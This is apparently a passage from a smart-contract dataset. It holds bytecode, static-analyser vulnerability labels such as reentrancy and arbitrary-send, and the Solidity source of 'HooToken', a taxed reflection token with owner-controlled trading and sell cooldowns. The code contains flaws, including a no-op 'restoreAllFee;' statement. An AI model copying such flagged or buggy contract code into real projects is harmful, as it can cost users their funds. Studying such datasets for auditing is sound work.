60a01b0316678ac7230489e80000610d01565b6006546001600160a01b031663f305d7194730610b178161095a565b600080610b2c6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610b94573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610bb9919061176c565b505060085460065460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610c12573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c36919061179a565b50600e805460ff1916600117905542600d556702c68af0bb140000600c55565b6000610c613061095a565b905061095781611231565b60085460009061067d906001600160a01b031661095a565b6000546001600160a01b03163314610cae5760405162461bcd60e51b81526004016105b3906116ed565b600e805462ff00001916620100008315158102919091179182905560405160ff9190920416151581527ff65c78d1059dbb9ec90732848bcfebbec05ac40af847d3c19adcad63379d3aeb9060200161073d565b6001600160a01b038316610d635760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105b3565b6001600160a01b038216610dc45760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105b3565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831660009081526005602052604090205460ff1615610e4b57600080fd5b6001600160a01b038316610eaf5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105b3565b6001600160a01b038216610f115760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105b3565b60008111610f735760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016105b3565b600080546001600160a01b03858116911614801590610fa057506000546001600160a01b03848116911614155b15611194576008546001600160a01b038581169116148015610fd057506006546001600160a01b03848116911614155b8015610ff557506001600160a01b03831660009081526004602052604090205460ff16155b1561108757600e5460ff1661104c5760405162461bcd60e51b815260206004820152601860248201527f54726164696e67206e6f742079657420656e61626c65642e000000000000000060448201526064016105b3565b42600d5460f061105c91906117b7565b111561108357600c5461106e8461095a565b61107890846117b7565b111561108357600080fd5b5060015b600e54610100900460ff161580156110a15750600e5460ff165b80156110bb57506008546001600160a01b03858116911614155b156111945760006110cb3061095a565b9050801561117d57600e5462010000900460ff161561114e57600b5460085460649190611100906001600160a01b031661095a565b61110a91906117cf565b61111491906117ee565b81111561114e57600b5460085460649190611137906001600160a01b031661095a565b61114191906117cf565b61114b91906117ee565b90505b600061115b6006836117ee565b90506111678183611738565b9150611172816113a5565b61117b82611231565b505b47801561118d5761118d476111f3565b6000925050505b6001600160a01b03841660009081526004602052604090205460019060ff16806111d657506001600160a01b03841660009081526004602052604090205460ff165b156111df575060005b6111ec85858584866113d5565b5050505050565b6007546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561122d573d6000803e3d6000fd5b5050565b600e805461ff001916610100179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061127557611275611810565b6001600160a01b03928316602091820292909201810191909152600654604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156112ce573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112f2919061174f565b8160018151811061130557611305611810565b6001600160a01b03928316602091820292909201015260065461132b9130911684610d01565b60065460405163791ac94760e01b81526001600160a01b039091169063791ac94790611364908590600090869030904290600401611826565b600060405180830381600087803b15801561137e57600080fd5b505af1158015611392573d6000803e3d6000fd5b5050600e805461ff001916905550505050565b600e805461ff00191661010017905580156113c7576113c73061dead83610e25565b50600e805461ff0019169055565b60006113e183836113f7565b90506113ef8686868461141b565b505050505050565b600080831561141457821561140f5750600954611414565b50600a545b9392505050565b60008061142884846114f8565b6001600160a01b0388166000908152600260205260409020549193509150611451908590611738565b6001600160a01b0380881660009081526002602052604080822093909355908716815220546114819083906117b7565b6001600160a01b0386166000908152600260205260409020556114a38161152c565b846001600160a01b0316866001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516114e891815260200190565b60405180910390a3505050505050565b60008080606461150885876117cf565b61151291906117ee565b905060006115208287611738565b96919550909350505050565b306000908152600260205260409020546115479082906117b7565b3060009081526002602052604090205550565b600060208083528351808285015260005b818110156115875785810183015185820160400152820161156b565b81811115611599576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461095757600080fd5b600080604083850312156115d757600080fd5b82356115e2816115af565b946020939093013593505050565b6000806040838503121561160357600080fd5b50508035926020909101359150565b60008060006060848603121561162757600080fd5b8335611632816115af565b92506020840135611642816115af565b929592945050506040919091013590565b60006020828403121561166557600080fd5b5035919050565b60006020828403121561167e57600080fd5b8135611414816115af565b801515811461095757600080fd5b6000602082840312156116a957600080fd5b813561141481611689565b600080604083850312156116c757600080fd5b82356116d2816115af565b915060208301356116e2816115af565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b60008282101561174a5761174a611722565b500390565b60006020828403121561176157600080fd5b8151611414816115af565b60008060006060848603121561178157600080fd5b8351925060208401519150604084015190509250925092565b6000602082840312156117ac57600080fd5b815161141481611689565b600082198211156117ca576117ca611722565b500190565b60008160001904831182151516156117e9576117e9611722565b500290565b60008261180b57634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156118765784516001600160a01b031683529383019391830191600101611851565b50506001600160a01b0396909616606085015250505060800152939250505056fea26469706673582212204e9e6838b64336fb7e9ed2e89457afb26efa5cb48dacb22fb2352d059cb9015d64736f6c634300080c0033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 10,638 |
0x24c73949f977943f41b6f1c3d3486ef0a1eef15c | /**
*Submitted for verification at Etherscan.io on 2021-06-09
*/
/*
Welcome to Hōō!
Telegram: https://t.me/HooToken
Website: www.ho-o.tech
Twitter: https://twitter.com/TokenHoo
Hōō are mythical creatures originating from the sun, being one of four celestial guardians symbolizing union, fire, sun, justice, fidelity, and resurrection.
Hōō was designed to fight against the whales and bots that destroy the investments of many users throughout UniSwap, using intelligent redistribution tax based on sales to reward holders!
Hōō does not and will not carry tokens for the devs, entirely fair launch for all!
Visit our TG for more information!
*/
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) external payable returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);
}
contract HooToken is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = unicode"HōōToken";
string private constant _symbol = "Hoo";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 12;
uint256 private _teamFee = 8;
mapping(address => bool) private bots;
mapping(address => uint256) private buycooldown;
mapping(address => uint256) private sellcooldown;
mapping(address => uint256) private firstsell;
mapping(address => uint256) private sellnumber;
address payable private _teamAddress;
address payable private _marketingFunds;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen = false;
bool private liquidityAdded = false;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2) {
_teamAddress = addr1;
_marketingFunds = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_marketingFunds] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender,_msgSender(),_allowances[sender][_msgSender()].sub(amount,"ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns (uint256) {
require(rAmount <= _rTotal,"Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 12;
_teamFee = 8;
}
function setFee(uint256 multiplier) private {
_taxFee = _taxFee * multiplier;
if (multiplier > 1) {
_teamFee = 16;
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router)) {
require(_msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair,"ERR: Uniswap only");
}
}
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled) {
require(tradingOpen);
require(amount <= _maxTxAmount);
require(buycooldown[to] < block.timestamp);
buycooldown[to] = block.timestamp + (30 seconds);
_teamFee = 6;
_taxFee = 2;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
require(amount <= balanceOf(uniswapV2Pair).mul(3).div(100) && amount <= _maxTxAmount);
require(sellcooldown[from] < block.timestamp);
if(firstsell[from] + (1 days) < block.timestamp){
sellnumber[from] = 0;
}
if (sellnumber[from] == 0) {
sellnumber[from]++;
firstsell[from] = block.timestamp;
sellcooldown[from] = block.timestamp + (1 hours);
}
else if (sellnumber[from] == 1) {
sellnumber[from]++;
sellcooldown[from] = block.timestamp + (2 hours);
}
else if (sellnumber[from] == 2) {
sellnumber[from]++;
sellcooldown[from] = block.timestamp + (6 hours);
}
else if (sellnumber[from] == 3) {
sellnumber[from]++;
sellcooldown[from] = firstsell[from] + (1 days);
}
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
setFee(sellnumber[from]);
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
restoreAllFee;
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path, address(this), block.timestamp);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.div(2));
_marketingFunds.transfer(amount.div(2));
}
function openTrading() public onlyOwner {
require(liquidityAdded);
tradingOpen = true;
}
function addLiquidity() external onlyOwner() {
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
liquidityAdded = true;
_maxTxAmount = 3000000000 * 10**9;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type(uint256).max);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 teamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(teamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
} | 0x6080604052600436106101025760003560e01c8063715018a611610095578063c3c8cd8011610064578063c3c8cd8014610330578063c9567bf914610347578063d543dbeb1461035e578063dd62ed3e14610387578063e8078d94146103c457610109565b8063715018a6146102865780638da5cb5b1461029d57806395d89b41146102c8578063a9059cbb146102f357610109565b8063313ce567116100d1578063313ce567146101de5780635932ead1146102095780636fc3eaec1461023257806370a082311461024957610109565b806306fdde031461010e578063095ea7b31461013957806318160ddd1461017657806323b872dd146101a157610109565b3661010957005b600080fd5b34801561011a57600080fd5b506101236103db565b6040516101309190613213565b60405180910390f35b34801561014557600080fd5b50610160600480360381019061015b9190612d9a565b610418565b60405161016d91906131f8565b60405180910390f35b34801561018257600080fd5b5061018b610436565b6040516101989190613395565b60405180910390f35b3480156101ad57600080fd5b506101c860048036038101906101c39190612d4b565b610447565b6040516101d591906131f8565b60405180910390f35b3480156101ea57600080fd5b506101f3610520565b604051610200919061340a565b60405180910390f35b34801561021557600080fd5b50610230600480360381019061022b9190612dd6565b610529565b005b34801561023e57600080fd5b506102476105db565b005b34801561025557600080fd5b50610270600480360381019061026b9190612cbd565b61064d565b60405161027d9190613395565b60405180910390f35b34801561029257600080fd5b5061029b61069e565b005b3480156102a957600080fd5b506102b26107f1565b6040516102bf919061312a565b60405180910390f35b3480156102d457600080fd5b506102dd61081a565b6040516102ea9190613213565b60405180910390f35b3480156102ff57600080fd5b5061031a60048036038101906103159190612d9a565b610857565b60405161032791906131f8565b60405180910390f35b34801561033c57600080fd5b50610345610875565b005b34801561035357600080fd5b5061035c6108ef565b005b34801561036a57600080fd5b5061038560048036038101906103809190612e28565b6109ba565b005b34801561039357600080fd5b506103ae60048036038101906103a99190612d0f565b610b03565b6040516103bb9190613395565b60405180910390f35b3480156103d057600080fd5b506103d9610b8a565b005b60606040518060400160405280600a81526020017f48c58dc58d546f6b656e00000000000000000000000000000000000000000000815250905090565b600061042c610425611096565b848461109e565b6001905092915050565b6000683635c9adc5dea00000905090565b6000610454848484611269565b61051584610460611096565b610510856040518060600160405280602881526020016139f460289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006104c6611096565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120399092919063ffffffff16565b61109e565b600190509392505050565b60006009905090565b610531611096565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105be576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105b5906132f5565b60405180910390fd5b80601260186101000a81548160ff02191690831515021790555050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661061c611096565b73ffffffffffffffffffffffffffffffffffffffff161461063c57600080fd5b600047905061064a8161209d565b50565b6000610697600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612198565b9050919050565b6106a6611096565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610733576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161072a906132f5565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600381526020017f486f6f0000000000000000000000000000000000000000000000000000000000815250905090565b600061086b610864611096565b8484611269565b6001905092915050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108b6611096565b73ffffffffffffffffffffffffffffffffffffffff16146108d657600080fd5b60006108e13061064d565b90506108ec81612206565b50565b6108f7611096565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610984576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161097b906132f5565b60405180910390fd5b601260159054906101000a900460ff1661099d57600080fd5b6001601260146101000a81548160ff021916908315150217905550565b6109c2611096565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a4f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a46906132f5565b60405180910390fd5b60008111610a92576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a89906132b5565b60405180910390fd5b610ac16064610ab383683635c9adc5dea0000061250090919063ffffffff16565b61257b90919063ffffffff16565b6013819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf601354604051610af89190613395565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610b92611096565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c1f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c16906132f5565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610caf30601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea0000061109e565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610cf557600080fd5b505afa158015610d09573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d2d9190612ce6565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610d8f57600080fd5b505afa158015610da3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610dc79190612ce6565b6040518363ffffffff1660e01b8152600401610de4929190613145565b602060405180830381600087803b158015610dfe57600080fd5b505af1158015610e12573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e369190612ce6565b601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610ebf3061064d565b600080610eca6107f1565b426040518863ffffffff1660e01b8152600401610eec96959493929190613197565b6060604051808303818588803b158015610f0557600080fd5b505af1158015610f19573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f3e9190612e51565b5050506001601260176101000a81548160ff0219169083151502179055506001601260186101000a81548160ff0219169083151502179055506001601260156101000a81548160ff0219169083151502179055506729a2241af62c0000601381905550601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161104092919061316e565b602060405180830381600087803b15801561105a57600080fd5b505af115801561106e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110929190612dff565b5050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561110e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161110590613355565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561117e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161117590613275565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161125c9190613395565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156112d9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112d090613335565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611349576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161134090613235565b60405180910390fd5b6000811161138c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138390613315565b60405180910390fd5b6113946107f1565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561140257506113d26107f1565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611f7657601260189054906101000a900460ff1615611635573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561148457503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156114de5750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156115385750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561163457601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661157e611096565b73ffffffffffffffffffffffffffffffffffffffff1614806115f45750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166115dc611096565b73ffffffffffffffffffffffffffffffffffffffff16145b611633576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161162a90613375565b60405180910390fd5b5b5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156116d95750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6116e257600080fd5b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561178d5750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156117e35750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156117fb5750601260189054906101000a900460ff165b156118d457601260149054906101000a900460ff1661181957600080fd5b60135481111561182857600080fd5b42600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061187357600080fd5b601e42611880919061347a565b600b